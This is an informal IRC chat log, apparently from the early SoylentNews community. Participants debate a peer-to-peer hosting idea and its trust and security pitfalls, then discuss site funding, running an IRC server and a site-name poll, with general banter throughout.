[09:37:12] <prospectacle> drussell, wouldn't that be something. I'd happily pay $10/year. That's nothing to pretty much anyone (in first world at least). Even let non-members post, but perhaps no mods, no journal, etc.
[09:37:16] <useless> site sponcors are gone
[09:37:17] <crutchy> with a distributed model anyone can volunteer to host, so no hosting costs
[09:37:28] <crutchy> and development would be on a voluntary basis
[09:37:29] <Titanium> yep, but i can dream of them coming back :)
[09:37:34] <prospectacle> crutchy. Would that work. Technically i mean?
[09:37:51] <crutchy> think of something like napster
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[09:37:56] <Titanium> no
[09:37:57] <crutchy> except for news/comments
[09:37:58] <useless> crutchy: not really true. a shared host account wont work for a site like this
[09:38:01] <crutchy> instead of music
[09:38:13] <Titanium> people like stuff that works in a web browser
[09:38:16] <crutchy> its just data
[09:38:31] <Titanium> and letting others control the content... is ripe for abuse
[09:38:35] <crutchy> you can make a client that presents the data any way you like
[09:38:44] <Titanium> it would work on those darknet websites... but not on real ones
[09:38:59] FatPhil is now known as cmdr_FatPhil
[09:39:00] <Titanium> installing software to view a website is not feasable
[09:39:07] <prospectacle> crutchy: that sounds like a lot of work on top of existing site code. Not to say it can't happen, of course.
[09:39:10] <Titanium> it should work in firefox/chrome/whatever
[09:39:38] <prospectacle> I agree with useless, Titanium: better if it's just a website.
[09:39:44] <crutchy> you could use a browser as a client
[09:39:54] <Titanium> you would need to sign the pages
[09:39:59] <Titanium> and its not static html
[09:40:01] <crutchy> program running in background as server
[09:40:06] <crutchy> like a daemon
[09:40:10] <Titanium> otherwise lets say i host one and i am evil
[09:40:13] <FoobarBazbot> From the latest article: "... which snap together using magnets, much like LEGOs would if they were held together by magnets."
[09:40:16] <Titanium> now tons of people jsut got 0 dayed
[09:40:29] <FoobarBazbot> Also, much like magnets.
[09:40:50] <chromas> Ooh ooh! Write the client in JavaScript/HTML!
[09:40:55] <prospectacle> crutchy: would we have to download extra software?
[09:40:59] <crutchy> some kind of voting based signing might work
[09:41:03] <Titanium> it would be great to set it up that way, but current web technology makes it all but impossible
[09:41:10] <crutchy> only signed articles appear
[09:41:12] * FoobarBazbot is mocking this on IRC instead of a comment because I have teh mod points
[09:41:49] <crutchy> current web technology is only limited by imagination
[09:42:11] <Titanium> crutchy, but then who hosts the client :D
[09:42:24] <crutchy> nobody hosts a client
[09:42:45] <crutchy> you use a client (web browser) to connect to a node
[09:42:48] <Titanium> oops, chromas, stupid auto complete
[09:42:51] <FoobarBazbot_> SaaS web browser?
[09:42:51] <Konomi> nobody hosts a hosts generally
[09:42:57] <Konomi> p2p or die!
[09:43:11] <useless> Ugh
[09:43:15] <Konomi> never been a fan of the whole server client thing net wasn't meant to work like that
[09:43:26] <useless> except it was
[09:43:35] <Konomi> actually everyone was supposed to be peers
[09:43:38] <Titanium> p2p is great, but how do you prevent someone from inserting attack code
[09:43:40] <Konomi> it was meant to be redundent
[09:43:46] <Konomi> the server model is not redundent
[09:43:53] <crutchy> a daemon is a service that runs in the background (like a virus scanner appears in your system tray near the clock in the windows taskbar)... it would be the host node
[09:43:53] <prospectacle> I think client-server is best/easiest/fastest for now. Just my opinion
[09:43:56] <Titanium> servers can be redundant
[09:44:07] <useless> server sends shit, client interperetes and renders shit
[09:44:12] <Titanium> CDN + bgp anycast
[09:44:18] <crutchy> host nodes can be installed by anyone who wants to
[09:44:51] <Titanium> also there is no reason to not have that in addition to a normal website
[09:44:51] <crutchy> the host daemon would only serve content signed by x other nodes
[09:44:57] <Titanium> but it cannot replace a website
[09:45:12] <crutchy> and the host nodes would just be like normal web servers
[09:45:15] <Titanium> who signs, and who checks the host deamon
[09:45:24] <prospectacle> I don't tihnk there's much chance either of it being distributed any time soon. Financially, would you rather be asked for donations once a year, see ads all year, or pay $10 once a year as a membership?
[09:45:30] <crutchy> hence you could browse using a web browser
[09:45:49] <crutchy> you might just need a small launcher program to find an active node from a shared registry
[09:46:12] <Titanium> why would people run applications from a website?
[09:46:15] <crutchy> host daemon could be signed similarly to any debian package
[09:46:41] <crutchy> because most already do
[09:46:46] <crutchy> heard of flash?
[09:46:51] <Titanium> i disable it
[09:47:01] <crutchy> and i'm not talking about running applications from a website
[09:47:25] <crutchy> i'm talking about executing a launcher application which merely opens your browser to an available host node
[09:47:25] <Titanium> having code from a website has always been a source of problems
[09:47:50] <crutchy> after your browser opens, the launcher exits
[09:47:59] <crutchy> you don't even need to see it
[09:48:18] <Titanium> but this involves runnign code on my computer
[09:48:34] <crutchy> yes, computers generally do that
[09:48:41] <crutchy> it's unfortunate
[09:48:48] <Titanium> they run code that is trusted
[09:48:55] <useless> like every website you visit does
[09:49:13] <crutchy> when i install packages in debian, they are signed
[09:49:48] <Titanium> that is fine, but do you trust NCommander to write soemthing without bugs, and not have anyone alter his code?
[09:49:49] <crutchy> the launcher and host daemon could be made available from the debian repositories if we went though the proper channels to get it there
[09:49:51] <prospectacle> A website is a sandbox of sorts. It adds extra complexity and danger to ask site-visitors do download and run a daemon to view the site.
[09:49:53] <Titanium> i dont
[09:50:05] <crutchy> nobody writes any software without bugs
[09:50:26] <crutchy> but do you trust software from microsoft, adobe, or how about linux torvalds?
[09:50:28] <Titanium> that is why i dont run software from a website on my computer
[09:50:32] <Titanium> yes I do
[09:50:47] <crutchy> all those that i mentioned write buggy software
[09:50:47] <Titanium> but not from websites
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[09:50:58] <prospectacle> crutchy, I think your plan would be good once the site is well established and trusted. But not for the first couple of years.
[09:51:09] <crutchy> i agree
[09:51:20] <Titanium> i think it would be fine in addition to the site
[09:51:24] <crutchy> but i might write up a journal about it
[09:51:24] <Titanium> but not a repalcement
[09:51:54] <crutchy> cos if i can motivate myself i might be able to start working on something independent of soylent
[09:51:57] <prospectacle> crutchy, good idea.
[09:52:08] <crutchy> i've developed something similar for work already
[09:52:25] <Titanium> how does it make sure that untrusted code is not run?
[09:52:30] <crutchy> a delphi program that listens to http requests and queries microsoft access and returns the query results
[09:52:32] <useless> crutchy: count me in, got some ideas
[09:52:47] <prospectacle> Titanium: I agree, not a replacement, an option
[09:52:51] <swiss> i run anything on my computer for like 5 minutes
[09:53:00] <crutchy> titanium: you only download it from a trusted source, and you make sure it's signed
[09:53:01] <Titanium> ^^ terrible idea :(
[09:53:05] <Titanium> swiss
[09:53:07] <swiss> then i forget i installed it and it lives there till i reinstall
[09:53:17] <swiss> Titanium: running linux really limits my "anything" chices
[09:53:18] <swiss> choices*
[09:53:39] <Titanium> so this signed code... how does it verify that the articles it recieves are signed too?
[09:53:42] <Titanium> and the comments?
[09:53:43] <crutchy> you wouldn't trust windows updates that didn't come from microsoft.com
[09:53:48] <swiss> also, my computer is basically a malware lab
[09:53:52] <swiss> so meh
[09:54:23] <Titanium> how does it know that the server that i setup that got chosen to host the content is running signed code
[09:55:06] <crutchy> i think the best way would be make the host program only serve content that has been approved/vetted/signed by a minimum number of users, like a moderation system
[09:55:15] <Titanium> with this idea, the web browser doesnt really fit in it other that the displaying of the content
[09:55:17] <cmdr_FatPhil> swiss: trust me, running linux and not having an x86 (or amd86) box limits my "anything" choices even more!
[09:55:29] <Titanium> i run xp :(
[09:56:02] <Titanium> crutchy when you make the program do that it becomes complicated
[09:56:07] <swiss> the main way i make sure i only run trusted stuff is by auditing my filesystem and network traffic
[09:56:20] <crutchy> perhaps your concern is more to do with someone adding a dodgy host node to the system
[09:56:21] <swiss> worked pretty well so far
[09:56:28] <Titanium> yes, exactly
[09:56:35] <Titanium> there are many ways to do bad things
[09:56:48] <Titanium> this is the internet, its full of douchbags
[09:57:02] <crutchy> that's possible
[09:57:07] <Titanium> we cant have people opening up SN and seeing private body parts
[09:57:17] <swiss> why not
[09:57:31] <swiss> i'd go to the site like, twice as often
[09:57:33] <Titanium> the site should be safe for work...
[09:57:34] <crutchy> maybe every so often every host node must be checksummed by x number of other hosts nodes or it gets knocked off the registry
[09:57:51] <swiss> why not just pgp key sign shit
[09:58:03] <FoobarBazbot_> Titanium: yes we can... 8==D
[09:58:05] <crutchy> and every request must include some kind of checksum from another node
[09:58:08] <Titanium> swiss that works, but then you still need to distribute it and verify it
[09:58:23] <Titanium> and you need to distribute and verify the thing that does that
[09:58:26] <swiss> publish it in a TXT record for the DNS
[09:58:26] <prospectacle> crutchy, you're creating and trying to solve a lot of new, extra problems to solve an original problem (costs) that could be solved with some donations or member fees
[09:58:29] <crutchy> this checksum could be verified by the launcher program before slecting the host and opening the browser
[09:58:36] <swiss> make the application check that TXT record
[09:58:37] <Titanium> and distribute the thing and verify that you run on your computer
[09:58:55] <crutchy> nah it sounds complicated, but have you seen how complicated slashcode is?
[09:58:59] <crutchy> software is complicated
[09:59:04] <FoobarBazbot_> prospectacle, for the case of sn specifically, yes.
[09:59:08] <Titanium> slashcode is more straightforward
[09:59:15] <Titanium> but more complicated :)
[09:59:21] <prospectacle> slashcode has been written already and works, it took a fair bit of time, too
[09:59:40] <swiss> crutchy: isn't this kinda like how usenet stuff works? I've never done usenet stuff, so i'm not sure
[09:59:41] <crutchy> p2p web service seems complicated cos i suck at explaining it
[09:59:42] <prospectacle> crutchy: I agree it's a good idea for a project, but it would take months of work
[09:59:42] <Titanium> it is not a bad idea, but implementing it would be borderlien impossible
[09:59:51] <crutchy> and i'm making it up as i go along :-P
[09:59:52] <FoobarBazbot_> but ideally, the sort of thing crutchy is talking about would be generalized, write once, reuse everywhere
[10:00:14] <Titanium> this already is written btw
[10:00:18] <FoobarBazbot_> distributed web == singularity and all that!
[10:00:19] <Titanium> those darknet sites
[10:00:25] <crutchy> it's only two parts: host node daemon and launcher program
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[10:00:38] <crutchy> both would require no gui programming
[10:00:40] <Titanium> how do you verify the host node
[10:00:48] <crutchy> just a settings file for the host node
[10:00:59] <Titanium> how does a client verify it
[10:01:08] <crutchy> checksum verification from other host nodes by the launcher application
[10:01:16] <prospectacle> crutchy I wish you luck on your new distributed web-server idea. But details= array(devil);
[10:01:30] <crutchy> keep an eye on my journal
[10:01:32] <crutchy> :-)
[10:01:40] <Titanium> I belive this will be much more complicated thatn you realize right now to implement securely
[10:01:41] <crutchy> brain is in overdrive :-P
[10:01:45] <FoobarBazbot_> Titanium, yeah, I'm kinda dozing off here, so I'm not tracking all the details, but it sounds pretty close to some existing stuff. I'll have to read crutchy's journal when it comes up and I'm awaker.
[10:01:54] <crutchy> i've developed stuff like this before
[10:01:58] <Titanium> they already have this for static html :)
[10:02:03] <Titanium> and it works pretty well
[10:02:10] <crutchy> probably
[10:02:17] <crutchy> doesn't seem that miraculous
[10:02:18] <Titanium> but you have this giant client to download
[10:02:36] <crutchy> actually the more i think about it it just seems like bread and butter networking
[10:02:47] <crutchy> not a giant client
[10:02:51] <crutchy> just a launcher
[10:02:53] <crutchy> with no gui
[10:03:01] <FoobarBazbot_> on that note, I should sleep instead of dozing. later, all
[10:03:06] <crutchy> lol
[10:03:09] <crutchy> cya foobar
[10:03:12] <crutchy> :-)
[10:03:18] <Titanium> when you launch it, and connect to a P2P server...
[10:03:28] <Titanium> the person that runs that server can insert whatever he wants
[10:03:58] <Titanium> all it takes is one server and an hour and he just pwned a ton of peopel's computers
[10:04:02] FoobarBazbot is now known as FoobarBazbot|afk
[10:04:06] <Titanium> and SN's name would be all over it
[10:05:04] <crutchy> might have to think of that one some more
[10:05:39] <crutchy> but nothing on the web is secure, not even traditional web hosts, which can be (and are) phished
[10:05:48] <crutchy> or hacked
[10:06:02] <crutchy> there's mitm
[10:06:06] <Titanium> the security is guranteed by the web browser
[10:06:15] <Titanium> and tons of effort goes into that program to prevent this
[10:06:17] <prospectacle> crutchy, difference is you trust one site, to a certain degree, and continue until it breaks your trust. You don't have to trust lots of different nodes
[10:06:20] <crutchy> if you use ssl there is more security
[10:06:49] <crutchy> that trust is also dependent on one server, which in our case recently was busted up
[10:07:06] <crutchy> you bust up the trust in one server, and then what?
[10:07:11] <crutchy> go go to pipedot?
[10:07:19] <crutchy> s/go/you/
[10:07:19] <SedBot> <crutchy> you go to pipedot?
[10:07:31] <Titanium> AWESOME
[10:07:51] <Titanium> does it support complicated regex?
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[10:08:14] <prospectacle> crutchy, nothing is perfect, but if/when/while you trust a server, you don't have to trust a million random affiliated nodes to use it
[10:08:24] <stderr> SedBot
[10:08:24] * SedBot is a 53-line awk script, https://github.com
[10:08:25] <crutchy> no doubt there are holes in a distributed system, but i guess one advantage might be that you are also distributing the trustworthiness of the system
[10:08:39] <stderr> Titanium: I think that's a "no". :-)
[10:08:42] <crutchy> if you get fucked by one host node, you could always just block that one and try another
[10:08:57] <Titanium> its too late
[10:09:07] <crutchy> what's too late?
[10:09:09] <Titanium> you are alreay pwned, and there is news about this new insecure thing
[10:09:14] <crutchy> pwned by what?
[10:09:15] <Titanium> at that point its too late
[10:10:07] <crutchy> never heard of anyone being pned by a web host
[10:10:14] <prospectacle> crutchy, how do you synchronise posts/comments/updates? that's a whole new kettle of fish.
[10:10:24] <crutchy> i guess if the web host sent you some js it might be able to cause some havoc
[10:10:53] <crutchy> same way anything else in synched in p2p
[10:11:19] <crutchy> you send it out to all the registered nodes
[10:11:32] <crutchy> or you might send it out to x nodes
[10:11:41] <crutchy> and those x nodes send it out to x more nodes
[10:11:50] <crutchy> there are a few models to choose from
[10:11:51] <prospectacle> crutchy, don't you still need a central authority to say: these nodes are valid, these ones are imposters? Otherwise what if there are roughly equal fake nodes to real ones?
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[10:12:18] <prospectacle> It's fine for static content, but for a discussion site it could be trouble
[10:12:21] <Titanium> how do you revoke keys
[10:12:25] <crutchy> you would need some kind of comparative voting system
[10:12:36] <stderr> web-of-trust... Each user trust one or more host, each host trust one or more other hosts...
[10:12:41] <MrBluze> Evening peeps
[10:12:56] <Titanium> maybe we could sign each addition
[10:13:00] <prospectacle> Good evening mr bluze
[10:13:02] <Titanium> and require some work to prove we can sign it :)
[10:13:16] <stderr> Titanium: SN-coins!!! :-)
[10:13:20] <Titanium> and then give out modpoints when we sign it :)
[10:13:35] <crutchy> you could mod hosts
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[10:14:33] <prospectacle> crutchy, mod points don't seem to create a consensus in the current system, (and a consensus is what's needed)
[10:14:49] <FoobarBazbot_> crutchy: s/(.*) (.*) (.*) (.*)/\4 \2 \3 \1/
[10:14:49] <SedBot> <FoobarBazbot_> <crutchy> hosts could mod you
[10:14:57] <FoobarBazbot_> Titanium: it does
[10:15:16] <Hedonismbot> [ksuhku] SN-coins++
[10:15:32] <crutchy> hmm there's probably a few ways you could do it. i'm not sure what the best way would be
[10:16:04] <Titanium> the other problem is then the focus is on creating a whole new technology, instead of a news site
[10:16:07] <prospectacle> crutchy, seriously, all the best of luck and fortune. I see this as a major project that wouldn't help SN in the short term.
[10:16:17] <crutchy> there's no doubt much more smarterer people out there than me who know about signing and whatnot
[10:16:23] <MrBluze> Sn coin?
[10:16:36] <MrBluze> If we are even Sn
[10:16:38] <crutchy> prospectacle: agree and thanks
[10:16:42] <stderr> While it might be possible to make something distributed that might work... it'll take way too long for us to do that.
[10:17:00] <crutchy> i'm a gunna do. i might write some notes and then forget about the whole thing when i have some other idea
[10:17:05] <MrBluze> I'd like us to have an onion site
[10:17:17] <crutchy> with layers :-)
[10:17:30] <MrBluze> But I'm assured that is a dumb idea
[10:17:47] <stderr> crutchy: And then remember it again in 5 years time, when Google introduces it (made in a bad way)...
[10:17:59] <crutchy> what about parfait... everybody loves parfait
[10:18:15] <crutchy> lol stderr... they might do it better
[10:18:23] <crutchy> i like the idea of gpl2 though
[10:18:40] <prospectacle> I think new and experimental technologies can be explored when the site has stable: a)administration/ownership model, and b)financial model. That is key and primary to all.
[10:18:48] <crutchy> then it doesn't matter who develops it
[10:18:54] <MrBluze> Waffles
[10:19:01] <crutchy> hmmm waffles
[10:19:11] <MrBluze> Bacon++
[10:19:11] <Hedonismbot> karma - bacon: 158
[10:19:12] <crutchy> i have a guineapig named waffeles :-0
[10:19:26] <crutchy> s/waffeles/waffles/
[10:19:26] <SedBot> <crutchy> i have a guineapig named waffles :-0
[10:19:31] <stderr> crutchy: I have seen proof-of-concept code for stuff that Google made years later. The POC code was better than what Google ended up with.
[10:20:06] <stderr> crutchy: .fm?
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[10:20:23] <crutchy> if i can get off my arse and put enough effort into it i might be able to come up with a proof and upload it to github under gpl2
[10:20:36] <crutchy> don't hold your breath though cos i really am a gunnado
[10:20:54] <MrBluze> Lol
[10:20:57] <crutchy> about the only project that i've persevered with is the one that i developed for work that i use daily
[10:21:41] <prospectacle> "A gunnado" I like it. Described me perfectly
[10:21:49] <crutchy> i didn't get paid for it but it makes my job easier. work owns it and a lot of people would think i was stupid for working for nothing, but meh
[10:22:25] <MrBluze> I've done lots of stuff like that crutchy
[10:22:49] <MrBluze> But the fact the software is still in use after 6 years and no updates meant I got a job
[10:23:19] <MrBluze> That is I just got it without much effort
[10:24:29] <crutchy> there's plenty of intangible benefits
[10:24:44] <crutchy> job security in my case is definitely one
[10:24:50] <MrBluze> Free stuff pays better than money sometimes
[10:24:57] <MrBluze> Yep
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[10:25:11] <crutchy> there's also professional development, which for an engineer is required by law
[10:25:31] <Hedonismbot> [ksuhku] moore's law
[10:25:38] <crutchy> lol
[10:26:07] <MrBluze> Yep. Same for me crutchy and software counts ;)
[10:26:56] <crutchy> useful for me cos i write engineering software that supplements my job... that's why i get paid to use it :-)
[10:28:37] <MrBluze> Very similar to me but as u know very different field
[10:29:12] <crutchy> the access query thing is a tool that i built just to draw gantt charts of timeshhet data and job deadlines etc, so not really engineering
[10:29:18] <MrBluze> I hope everyone votes on a name tomorrow
[10:29:30] <crutchy> whats in the lead?
[10:29:38] <MrBluze> Nothing yet
[10:29:43] <crutchy> i don't even know where to vote
[10:29:59] * crutchy feels dumb
[10:30:03] <MrBluze> It will be on the main Page of the website
[10:30:17] <MrBluze> A poll
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[10:31:17] <MrBluze> Names like soylentnews, dailybacon, baconnews, geekcard, others
[10:31:32] <crutchy> can't see under http://soylentnews.org
[10:31:56] <MrBluze> It's not up yet I think it will be tomorrow
[10:32:01] <crutchy> ahh
[10:32:35] <Titanium> crutchy i also write stuff to make my job easier :)
[10:32:39] <Titanium> (for free)
[10:32:44] <crutchy> i don't think i wanna see any more bacon for a while
[10:33:26] <crutchy> as long as you and you're boss are both ok with the arrangement i don't see the big deal :-)
[10:33:29] <Titanium> i actually wrote a program that does most of my job :)
[10:33:48] <crutchy> and i guess if you feel ripped off you wouldn't do it
[10:33:58] <Titanium> the parts that require physical stuff... it instant messages an intern
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[10:34:20] <crutchy> are the interns hot?
[10:34:31] <Titanium> same sex as me
[10:34:36] <crutchy> oh
[10:34:50] <Titanium> to answer your next qustion, no
[10:34:51] <crutchy> instant messaging definitely better
[10:34:55] <crutchy> lol
[10:35:02] <crutchy> what was my next question?
[10:35:09] <Titanium> does it matter
[10:35:27] <crutchy> i'm blissful in my ignorance
[10:35:29] <Titanium> it = gender not question
[10:36:10] <Titanium> wait, i messed that up
[10:36:15] <Titanium> i think you know what i mean
[10:36:15] <crutchy> err i don't care whether you're girl, guy, alien or made of lego
[10:36:38] <crutchy> :-)
[10:36:55] <Titanium> what I need is a physical device that can break and fix a fiber cable
[10:37:04] <crutchy> actually if you were made of lego that would be awesome
[10:37:16] <crutchy> ductape
[10:37:29] <crutchy> oh hang on you need it to break a cable
[10:37:32] <Titanium> we have some optical add/drop mux kinda stuff
[10:37:43] <Titanium> but they are too far for SR optics
[10:37:58] <Titanium> and i cant move them :(
[10:38:27] <crutchy> so you wanna do an NSA prism thing
[10:38:32] <Titanium> nah
[10:38:41] <crutchy> splice a fiber signal
[10:38:44] <crutchy> :-P
[10:38:44] <Titanium> i need somethiogn that can replace pulling a cable and putting it back
[10:38:49] <Titanium> i already have that stuff
[10:39:08] <crutchy> well i'm not a telco guy so i have no idea
[10:39:50] <crutchy> i used to have a christmas tree with "fiber optic" lights... fibers consisting of stiff fishing line
[10:40:33] <Titanium> this needs to be OM3 multimode
[10:40:37] <Titanium> or better
[10:41:05] <crutchy> i did some basic total internal reflection physics at uni, but as far as anything useful goes, i'm definitely not your guy sorry
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[10:41:29] <crutchy> sounds cool though
[10:41:35] <Titanium> i found somethingthat should work... but its like $1k each
[10:41:54] <Titanium> cheap for a test tool, but not compared to me pulling a cable
[10:42:06] <crutchy> oh i do use those optical cables for my sound system... they're cool too
[10:42:17] <MrBluze> U could just find out where some is buried and dig it up
[10:42:28] <crutchy> what about those cheap fiber optic kits
[10:42:43] <MrBluze> But that's illegal naturally
[10:42:43] <Titanium> it needs to handle 40gbps
[10:42:53] <crutchy> err... oky doky
[10:43:01] <Titanium> or 9.6 tbps for singlemode
[10:43:23] <MrBluze> Titanium are you that guy with a black hat on xkcd?
[10:43:23] <crutchy> are you trying to hack into an internet trunk line or something?
[10:43:41] <Titanium> no, but it depends on who you ask :)
[10:43:51] <MrBluze> Lol
[10:43:54] <Titanium> basically i have an internet trunk line i need to break
[10:43:57] <Titanium> and then fix
[10:44:00] <Titanium> and see what happens
[10:44:02] <Titanium> (in a lab)
[10:44:03] <crutchy> lol
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[10:44:14] <Titanium> i need to do this 300 times
[10:44:26] <crutchy> well at least i know why you haven't talked to anyone at verizon
[10:44:28] <Titanium> posibly 1000s of times
[10:45:20] <Titanium> the problem is normally you have 2 groups
[10:45:22] <Titanium> network people
[10:45:24] <Titanium> and optical people
[10:45:34] <Titanium> and they dont get along well as the 2 things are totally different
[10:45:34] <Hedonismbot> [ksuhku] now all you have is soylent
[10:45:37] <crutchy> there's prolly shitloads of websites that tell you how to do it
[10:46:02] <crutchy> i've seen a website that supposedly tells you how to make a nuclear bomb out of a washing machine
[10:46:04] <Titanium> i have been searching :(
[10:46:48] <Subsentient> crutchy: Did you see the one that tells you how to make an interdimensional portal out of a juicer?
[10:46:58] <crutchy> honestly i don't think you're going to get any consumer grade sensors that are gunna do that kind of resolution
[10:47:17] <crutchy> hahahaha nah i haven't seen that one
[10:48:05] <Subsentient> crutchy: That's why I'm all fruity in the coconut. I... saw stuff, man...
[10:48:18] <crutchy> maybe if you spliced the signal thousands of times you could combine the inputs of thousands of consumer grade sensors with staggered timing
[10:48:49] <Titanium> umm, breadboards were discovered a long time ago
[10:48:53] <Titanium> how is this news?
[10:49:08] <crutchy> breadboards?
[10:49:16] <Titanium> yes
[10:49:19] <Titanium> well
[10:49:23] <Titanium> not the original ones
[10:49:33] <Titanium> its a board with a bunch of holes in it
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[10:49:42] <crutchy> yeah i know what a breadboard is
[10:49:55] <crutchy> what about breadboards?
[10:49:56] <Titanium> for DIP chips :)
[10:49:58] <Titanium> the article
[10:50:04] <Titanium> they just described a breadboard
[10:50:18] <crutchy> are we talking about the juicer now?
[10:50:24] <Titanium> youa re
[10:50:25] <MrBluze> Brb
[10:50:25] <Titanium> you are
[10:50:29] <crutchy> sry not sure what article you talking about
[10:50:35] <Titanium> go to sn
[10:50:37] <crutchy> i didn't mention breadbboards
[10:50:43] <crutchy> lol oky dokes
[10:50:52] <Titanium> http://www.soylentnews.org
[10:51:03] <crutchy> the littlebits article?
[10:51:09] <Titanium> ya
[10:51:18] <Titanium> nevermind
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[10:51:30] <crutchy> :-)
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[10:55:13] <Subsentient> crutchy: All hail the juicer and it's holy tentacles.
[11:05:23] <crutchy> fuck yeah!
[11:05:54] <crutchy> holyjuice.org
[11:06:30] <stderr> <idlerpg> kobach, stderr, xlefay, and arachnist have blessed the realm by completing their quest! 25% of their burden is eliminated.
[11:06:34] <stderr> W00T!!!
[11:06:55] <crutchy> oh my frapping lunchbox... holyjuice.org actually goes somewhere :-P
[11:07:05] <crutchy> blessed are the meek
[11:07:47] <crutchy> Oh, that's nice, isn't it? I'm glad they're getting something, 'cause they have a hell of a time.
[11:08:17] <crutchy> http://montypython.50webs.com
[11:09:28] <swiss> http://imgur.com
[11:09:34] <swiss> and with that, i go to sleep
[11:10:04] <ar> stderr: you're the top player anyway
[11:10:16] <ar> and i'm the one losing each and every battle
[11:10:20] <stderr> Yes, I'm great. :-)
[11:11:31] <crutchy> my favourite scene: http://montypython.50webs.com
[11:12:24] <crutchy> swiss: wicked animation
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[11:17:52] <prospectacle> are irc servers expensive if you want to run your own?
[11:20:28] <crutchy> xlefay is your man to ask
[11:20:32] <gallondr00nk> i think it's dependent on how popular it is?
[11:20:36] <MrBluze> There's a bit to it
[11:21:24] <MrBluze> It's not expensive
[11:21:41] <MrBluze> U just need to get a decent server
[11:21:42] <crutchy> apt-get install ircd-irc2
[11:21:54] <gallondr00nk> I always assumed the resource cost is pretty trivial
[11:21:54] <prospectacle> I see
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[11:22:24] <crutchy> or apt-get install ircd-hybrid
[11:22:32] <MrBluze> Issues are security and all the tinkering and ddos
[11:23:25] <crutchy> http://www.ircd-hybrid.org
[11:23:28] <MrBluze> But irc is great tool
[11:23:43] <crutchy> http://en.wikipedia.org
[11:24:02] <prospectacle> crutchy, thanks
[11:24:08] <crutchy> http://www.leonardaustin.com
[11:24:17] <crutchy> np :-)
[11:24:32] <Hedonismbot> [ksuhku] IRC is soo sexy
[11:24:42] <crutchy> i never done it before but i generally start with synaptic search to find the program names and then jump onto google
[11:24:51] <prospectacle> MrBluze: can you just like rent your own cloud irc (with your own name/bots/channels/control) cheaply? Is it as easy as when trying to renting some apache/php/mysql hosting/
[11:25:25] <crutchy> try through your isp
[11:25:39] <crutchy> many isp offer some hosting and other perks with your internet service
[11:25:41] <gallondr00nk> entry level vps hosting seems pretty cheap now
[11:26:03] <prospectacle> Ok, thanks. just curious
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[11:26:20] <crutchy> or you can host at home if you have a spare router laying around that you can use to make a dmz
[11:26:40] <crutchy> or if you want to go full monty you can just open 6667 to your whole lan :-P
[11:26:40] <gallondr00nk> that would work too
[11:26:41] <MrBluze> It is
[11:27:08] <crutchy> i would recommend a dmz
[11:27:19] <crutchy> lots of nasties out there prodding for open ports
[11:27:26] <gallondr00nk> :P
[11:27:33] <prospectacle> yeah nasties are the worst.
[11:27:57] <Hedonismbot> [ksuhku] if you fail, just tell everybody it was a honeypot
[11:28:19] <crutchy> i run a low traffic website and most of my default vhost log is filled with nasties
[11:28:21] <gallondr00nk> i'd go for a cheap vps, just play with it until you get it right
[11:28:30] <MrBluze> Lol my life is a honey pot to catch the three letter agencies
[11:28:35] <Hedonismbot> [ksuhku] :D
[11:28:40] <prospectacle> lol @ ksuhku
[11:29:59] <prospectacle> If SN decided (based on poll) to host their own irc, will it add much to their time/money budget, do you think?
[11:30:06] <gallondr00nk> well, they already do
[11:30:11] <gallondr00nk> i think?
[11:30:14] <Hedonismbot> [ksuhku] yea
[11:30:42] <prospectacle> oh, why the poll? I must have misunderstood
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[11:31:43] <MrBluze> Irc requires maintenance and cost
[11:31:47] <MrBluze> That's all
[11:32:03] <gallondr00nk> the alternative is to go back to the freenode irc network
[11:32:13] <MrBluze> Yep
[11:32:26] <prospectacle> I see.
[11:32:27] <gallondr00nk> you could always use skype :P
[11:32:38] <Hedonismbot> [ksuhku] OTOH you get more freedoms with your own server to do whatever
[11:32:44] <MrBluze> And the question is whether we gain from having our own irx
[11:32:57] <gallondr00nk> @ksunku that's my feeling too
[11:32:59] <MrBluze> I say we do but it's not clear cut
[11:33:09] <prospectacle> I bet at this point if someone added a paypal tip-jar to SN it would be full quickly. There is sufficient trust
[11:33:33] <MrBluze> It's a good project and now on solid footing
[11:33:50] <MrBluze> Lots to do yet though
[11:36:54] <prospectacle> I think you've got majority on your site Bluze
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[11:37:48] <prospectacle> oh wait, i looked again. most prefer freenode, but self-sufficient is a close second! I think you can swing them!
[11:38:49] <prospectacle> I'm on your side
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[11:39:49] <gallondr00nk> Vote YES on IRC Poll #1
[11:40:38] <gallondr00nk> For Great Independence.
[11:41:00] <prospectacle> Have done, but I guess I'll need to vote a few hundred times more :)
[11:41:13] <prospectacle> oh wait, no, only 20 times
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[11:42:23] <MrBluze_> mattie_p: u there?
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[11:43:01] <MrBluze_> nick MrBluze
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[11:43:06] <MrBluze> that
[11:47:06] <MrBluze> mattie_p: ping
[11:49:23] <crutchy> gallondr00nk: my vote just registered :-P
[11:49:53] <crutchy> no pong mrbluze?
[11:50:35] <G-forze> where can I see the vote options?
[11:51:00] <crutchy> http://soylentnews.org
[11:51:04] <G-forze> thx
[11:52:25] <cmdr_FatPhil> Vote for meeeeee!
[11:52:44] <MrBluze> no pong for me
[11:52:54] <crutchy> there was no meeeeeeee option
[11:53:31] * crutchy now feels cheated for lack of such option
[11:55:15] <crutchy> seems like us strayans on a different planet to most.... we go to bed when they start waking up
[11:55:29] <cmdr_FatPhil> ARGH!
[11:55:58] <cmdr_FatPhil> I've just gone to /. to retreive my friends list - and was beta'd the second I got there!
[11:56:19] <crutchy> it's the new nerd bitchslap
[11:56:37] <crutchy> get beta'd you motherbeta
[11:57:32] <prospectacle> crutchy I was in australia once. i met a guy called bill. Do you know him?
[11:57:56] <crutchy> ol' billo... yeah he's best mates with johno
[11:58:47] <crutchy> from over the other side of the fence about 500 km thataway
[12:00:01] * crutchy gets back onto kangaroo to go home to eat stewed rabbits in his cave home
[12:00:03] <crutchy> :-P
[12:00:34] <Hedonismbot> [SoylentNews] - What Shall We Be? - http://sylnt.us - ontology
[12:00:37] <prospectacle> lol.
[12:01:07] <prospectacle> yah ontology
[12:01:13] <crutchy> reminds me of a funny youtube video: https://www.youtube.com
[12:02:06] <prospectacle> crutchy, I was walking in the reserve the other day and I woke up this massive bull kangaroo who was sleeping behind the bush I was passing. He stood up and just looked at me while the rest of the mob were running away. I know they don't attack if they can possibly avoid it, but he looked like he was thinking about it, for interrupting his nap.
[12:03:07] <crutchy> dunno... most kangaroos i see are roadkill
[12:05:19] <MrBluze> yeah the bulls can be lethal
[12:06:25] <MrBluze> but mainly if u make em jealous
[12:08:12] <crutchy> yeah... don't go up to their missus with a boner
[12:09:34] * MrBluze nods seriously
[12:09:48] <MrBluze> or with a bag of oats
[12:09:54] * Konomi purges ntp and installs ntpdate
[12:09:55] <Konomi> ops ~
